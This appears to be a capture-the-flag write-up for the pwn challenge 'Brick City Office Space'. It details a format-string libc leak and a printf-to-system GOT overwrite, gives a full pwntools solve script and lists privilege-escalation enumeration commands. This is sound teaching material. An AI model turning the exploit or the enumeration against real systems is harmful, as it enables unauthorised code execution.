Brick City Office Space
Brick City Office Space
Platform: Umasscybersec | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: fmtstr_got_overwrite, format_string_offset_discovery, libc_leak_via_got, printf_to_system_hijack
Summary
Task: a 32-bit service printed user input directly with printf and exposed two format-string sinks in a loop. Solution: leak puts from the GOT to recover libc, overwrite printf@got with system, then trigger the second sink with cat flag.txt.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umasscybersec| ID:20260411_umasscybersec_brick_city_office_space - Tags: format_string, got_overwrite, libc_leak, no_pie, printf, i386, no_relro
- Indicators: printf(user_input) is reachable with attacker-controlled data, No RELRO leaves GOT entries writable, No PIE gives stable code and GOT addresses, A stack probe shows attacker bytes at format offset 4, The program loops, allowing leak first and overwrite second
- Source:
20260411_umasscybersec_brick_city_office_space.md
Foothold
Vulnerability / Misconfiguration
- fmtstr_got_overwrite
- format_string_offset_discovery
- libc_leak_via_got
- printf_to_system_hijack
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- fmtstr_got_overwrite
- format_string_offset_discovery
- libc_leak_via_got
- printf_to_system_hijack
- Tags: format_string, got_overwrite, libc_leak, no_pie, printf, i386, no_relro
Original Writeup
<details><summary>Click to expand original content</summary>Description
"We're using a new %format for the TPS reports. Did you get my memo?"
English summary: the service asks for an office design string and later asks whether you want to redesign. User-controlled data is printed with printf without a format string, giving a format string vulnerability that can be used to leak libc and overwrite the GOT.
Service:
text read-only • copy allowednc brick-city-office-space.pwn.ctf.umasscybersec.org 45001
Analysis
The binary is a 32-bit ELF (i386), dynamically linked, and not stripped.
checksec showed:
text read-only • copy allowedRELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE
These properties are ideal for a classic GOT overwrite:
- No RELRO means GOT entries stay writable.
- No PIE means code and GOT addresses are fixed.
- NX enabled pushes the exploit toward code-reuse / libc reuse instead of shellcode.
Important addresses from the binary:
text read-only • copy allowedvuln = 0x80491d6 main = 0x80493db puts@got = 0x804bbbc printf@got = 0x804bbb0
Important offsets from the provided libc.so.6:
text read-only • copy allowedputs = 0x732a0 system = 0x48170
The stack offset for our format string was 4. A probe such as AAAA.%1$p.%2$p.%3$p.%4$p revealed 0x41414141 at %4$p, so attacker-controlled bytes placed at the start of the input are read as the 4th format argument.
Vulnerability
The real bug is a format string vulnerability: user input is passed directly to printf.
There are two useful printf(user_input) paths inside vuln():
- The program prints the submitted office design.
- If the redesign answer is not
yorn, it enters aThis is what you said:branch and prints that invalid response withprintf(buffer).
That gives two separate stages in one execution:
- first use the office design prompt to leak libc
- then loop once and use the second prompt to trigger a hijacked
printf
Because printf@got is writable and the program later calls printf on attacker-controlled input again, replacing printf@got with system turns a later printf(buffer) into system(buffer).
Exploitation
1. Leak puts from the GOT
On the first prompt, send:
python read-only • copy allowedp32(puts_got) + b'.%4$s.END'
Why it works:
- the first four bytes are the address of
puts@got %4$sdereferences the 4th stack argument as a pointer to a string- since offset 4 is correct,
printfreads bytes fromputs@got - the leaked bytes give the runtime address of
putsin libc
Then compute:
python read-only • copy allowedlibc_base = puts_addr - libc.symbols["puts"] system_addr = libc_base + libc.symbols["system"]
2. Loop back into the vulnerable prompt
Reply with y so the program asks for another office design. This gives a second chance to exploit the same format string primitive after the libc base is known.
3. Overwrite printf@got with system
Use pwntools to build the write:
python read-only • copy allowedfmtstr_payload(4, {printf_got: system_addr}, write_size="short")
write_size="short" is convenient on 32-bit targets because it writes the 4-byte address as two 2-byte chunks.
4. Trigger system("cat flag.txt")
When the binary asks:
text read-only • copy allowedWould you like to redesign? (y/n)
send:
text read-only • copy allowedcat flag.txt
This is intentionally invalid input, so the program enters the This is what you said: branch and calls printf(buffer). After the GOT overwrite, that call becomes:
c read-only • copy allowedsystem("cat flag.txt")
which prints the flag.
Full Solve Script
</details>python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST = "brick-city-office-space.pwn.ctf.umasscybersec.org" PORT = 45001 elf = ELF("./BrickCityOfficeSpace") libc = ELF("./libc.so.6") def main(): io = remote(HOST, PORT) io.recvuntil(b"BrickCityOfficeSpace> ") leak_payload = p32(elf.got["puts"]) + b".%4$s.END" io.sendline(leak_payload) out = io.recvuntil(b"Would you like to redesign? (y/n)\n") marker = p32(elf.got["puts"]) + b"." start = out.index(marker) + len(marker) end = out.index(b".END", start) puts_addr = u32(out[start:end][:4]) libc.address = puts_addr - libc.symbols["puts"] system_addr = libc.symbols["system"] io.sendline(b"y") io.recvuntil(b"BrickCityOfficeSpace> ") overwrite = fmtstr_payload(4, {elf.got["printf"]: system_addr}, write_size="short") io.sendline(overwrite) io.recvuntil(b"Would you like to redesign? (y/n)\n") io.sendline(b"cat flag.txt") print(io.recvall(timeout=2).decode("latin-1", errors="replace")) if __name__ == "__main__": main()
signed by XESXOR